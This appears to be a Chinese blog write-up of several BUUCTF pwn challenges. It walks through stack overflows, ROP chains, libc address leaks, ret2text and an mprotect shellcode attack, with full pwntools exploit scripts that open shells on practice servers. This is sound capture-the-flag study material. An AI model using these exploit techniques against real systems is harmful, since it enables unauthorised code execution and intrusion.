ciscn_2019_c_1
64位,沒有開啟保護。點進去沒發現明顯的漏洞函數,考慮泄露libc基地址的rop構造。先看看有多少gadget
估計也夠用了。puts函數只接受一個參數,觀看匯編看看用的哪個寄存器傳輸的參數。
用的是edi。但是我們怎么找到so的版本呢,因為我們必須要知道so文件種puts函數的偏移量,才可以和泄露出puts的地址結合找到基址。可以用LibcSearch模塊來搜索。
libcsearch(符號,地址)
新的心得:
1.64位有效地址是6字節。
2.libc.dump是LibcSearch的內置函數
- 通過泄漏的函數真實地址,工具會匹配對應的 libc 版本,并直接返回其他函數或字符串的偏移量,避免手動計算。--豆包
可惜我的libcsearch出問題了
在線網站:libc database search
libc-database
可以自己搜這個。
另外就是因為函數的crypto函數,我們需要先傳入一個\0,防止被吞payload。
?最后,一定需要注意棧對齊。在棧我們填充的垃圾字節似乎會影響到棧指針16字節對齊。
、下面是解釋接受泄露地址的\x7f的原因(小端序下)
為什么不直接recv呢?
想要recv,就必須先接受crypto函數的第一個puts,否則直接recv的不是地址。然后,還需要先接受crypto的第一個輸出,不然recv的還不是地址,有點麻煩。
exp:
from pwn import *
from LibcSearcher3 import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn",26318)
elf = ELF("./pwn")
pop_rdi_ret = 0x400c83
func = 0x4009A0p.sendlineafter(b"choice!\n", b'1')puts_got = elf.got["puts"]
payload2 =b'\0'+ b'A'*(0x50+8-1) + p64(pop_rdi_ret) + p64(puts_got) + p64(elf.plt['puts'])+p64(func)
p.sendline(payload2)
true_puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#我的沒有找到地址,只好手動添加
system_addr = true_puts-0x31580
bin_sh_addr = true_puts+0x1334da
p.recvuntil(b"encrypted\n")
#下面的p64(0x04006b9)就是一個ret 來棧對齊的
payload3 =b'\0'+ b'A'*(0x50+8-1) +p64(0x04006b9 ) +p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload3)p.interactive()
jarvisoj_level2_x64
同樣64位未開啟保護,進入ida看看。注意到plt有個system字段,字符有/bin/sh,而且存在棧溢出的函數,可以感受到這就是入門題目,寫一個exp練練手:
from pwn import *
elf=ELF("./pwn")
p=remote("node5.buuoj.cn",27443)
bin_sh=next(elf.search('/bin/sh'))
pop_rdi_ret=0x004006b3
ret=0x4004a1
system=elf.plt['system']
payload=b'A'*(128+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
p.send(payload)
p.interactive()
get_started_3dsctf_2016
參考:get_started_3dsctf_2016 - 不會修電腦 - 博客園
get_started_3dsctf_2016【BUUCTF】(兩種解法)_if ( a1 == 814536271 && a2 == 425138641 ) { v2 = f-CSDN博客
32位沒有保護,這次gaddet不好說也省去了。
方法一:ret2text
尋找到這一個函數,初步懷疑是ret2text。先試試行不行。
顯然注意到a1a2的值還要有要求,查看匯編層面:開局有一個esp-8的操作,然后arg_0是對地址4操作的意思,arg_4是對地址為8操作的意思.這倆參數經過ida的main棧幀查看發現其實是在返回地址之后。因為main的argc和argv具有相同的4、8.但是這樣并不能幫助我們修改它們的值
難道這樣就沒辦法了嗎?不要忘記C語言調用參數約定,我們只要按照約定,構造rsp即可。不用看這部分匯編代碼,只需要在addr后4字節覆蓋參數。
這里必須用exit,不然不會回顯出來,因為沒有開啟標準輸入輸出。
from pwn import *q = remote('node5.buuoj.cn',26793)
context.log_level = 'debug'# 僅修正字節類型,其他不變
payload = b'a'*56 # 改為字節類型
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
q.sendline(payload)
sleep(0.1) # 可保留,但非必要
q.recv()
方法二:ret2shellcode
媽的,還有這種思路。注意到下面有這個函數:
int?mprotect(const?void *start,?size_t len,?int prot);
第一個參數填的是一個地址,是指需要進行操作的地址。
第二個參數是地址往后多大的長度。
第三個參數的是要賦予的權限。7就是可讀可寫可執行。
這個函數可以把某個空間改為可執行。?唯一能利用的空間肯定要動調找。千萬別用棧,地址可能會變化。那唯一能用的只有下部分的。前兩個不太清楚是什么東西,先選取紫色的試試。
而且這樣的話,需要read函數往里面填充我們的shellcode。
這里構造ROP需要注意,用pop_ret要清理參數,不然第二個函數的參數不好處理了。因為運行到gets的時候ESP指向的參數實際上不對勁的,可以自己畫畫看看,這里不多演示了。
from pwn import *
context.log_level = 'debug'# 檢查 ELF 文件
elf = ELF('./pwn') if os.path.exists('./pwn') else Nonep = remote("node5.buuoj.cn", 29198)
mprotect = 0x806EC80
pop3_ret = 0x0804f460
read_addr = 0x0804F630
buf = 0x80ea000payload = b"a"*56 + p32(mprotect) + p32(pop3_ret) + p32(buf) + p32(0x1000) + p32(0x7) + p32(read_addr) + p32(buf) + p32(buf) p.sendline(payload)
sleep(0.1) # 確保 payload 發送完成payload2 = asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(payload2)p.interactive()
這里的shellcraft必須跟上后面倆,不然不成功。?
?[HarekazeCTF2019]baby_rop
64位程序,打開IDA看看。有個system的plt表項,估計要用ret2syscall思路。
其實沒那么復雜,程序本身也有/bin/sh,只需要rdi傳輸一個參數即可。
一下子就出來shell,但是沒有看到flag。顯然需要使用find命令。
find . -name "flag" -type f -exec cat {} \; 2>/dev/null
命令解釋:
find .
從當前目錄(.
)開始遞歸查找。
-name "flag"
查找文件名精確匹配?flag
?的文件(區分大小寫)。
若要忽略大小寫:
-iname "flag"
若要查找包含?
flag
?的文件(如?flag1.txt
):-name "*flag*"
-type f
僅查找普通文件(排除目錄、符號鏈接等)。
-exec cat {} \;
對每個找到的文件執行?cat
?命令輸出其內容。
{}
?是?find
?的占位符,表示當前文件。
\;
?是命令結束符,需轉義(;
?在 shell 中有特殊含義)。
2>/dev/null
丟棄錯誤輸出(如權限不足導致的錯誤),僅保留正常輸出。
2
(stderr):標準錯誤輸出(命令執行錯誤信息,屏幕顯示)。
exp:
from pwn import *
context.log_level='debug'
elf=ELF('./pwn')
p=remote("node5.buuoj.cn",26576)
system=elf.plt['system']
pop_rdi_ret=0x400683
bin_sh=0x0601048
payload=b'A'*(16+8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()
others_shellcode?
參考了[BUUCTF-pwn]——others_shellcode-CSDN博客
看名字就知道是shellcode。但是這個開啟了PIE。瞬間沒有思路了,也只有一個Getshell函數。
媽的,這個函數還真的getshell了,直接nc就做出來了。我暈
突然看別的題解,看了匯編代碼。現在看看它的匯編
int 80都出來了,極可能實現了execve。也不知道它的考點是啥。
?
[OGeek2019]babyrop
32位,沒有保護。
這個是主函數(已經修改部分變量名):首先給buf讀取了4字節。
看看vuln的邏輯:
可見必須得看v2是否滿足條件,(v2在這里就是參數a1)。第一個的read無法造成棧溢出。
v2和func密切相關,進去分析分析。
首先設置s和buf均為0.
sprintf
?函數的作用是把格式化后得到的字符串存到指定的字符數組中。在這個語句里:
- 第一個參數?
s
?代表存儲格式化結果的目標字符串。- 第二個參數?
"%ld"
?是格式控制字符串,這里的?%ld
?意味著要以長整型(long int
)的形式進行格式化輸出。- 第三個參數?
buf_1
?是需要被格式化的值。
?read函數返回的讀取成功的字節,v5就是這個值。這么婆婆媽媽的,就是把buf的最后一個變成0,使buf疑似成為字符串。問了豆包,假如BUF不輸入,可能會跳滿足這個判斷,但是又沒辦法利用vuln了。
----------------------待更新
?